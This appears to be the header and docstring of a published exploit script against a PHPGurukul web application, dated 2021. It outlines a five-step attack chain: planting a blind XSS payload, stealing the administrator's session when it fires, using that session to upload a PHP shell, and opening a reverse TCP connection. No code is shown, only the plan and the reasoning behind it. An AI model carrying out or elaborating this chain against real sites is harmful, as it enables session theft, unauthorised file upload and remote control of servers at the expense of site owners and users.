# Date: 2021-08-01
# Exploit Author: Merbin Russel
# Vendor Homepage: https://phpgurukul.com/

# Version: V1.0
# Tested on: Linux + xampp 7.4.21

'''
What does This Script Do:
	1. Send BXSS payload to site
	2. Wait until admin fires it
	3. Steal admin's session using BXSS script
	4. Using Admin's session, upload php shell
	5. Make a reverse TCP connection
	
Why does It need BXSS?
	1. Site contains file upload feature only in admin's panel.
	2. To upload a file we need to know credentials of admin or session
	3. BXSS used to steal admin's session to upload php file
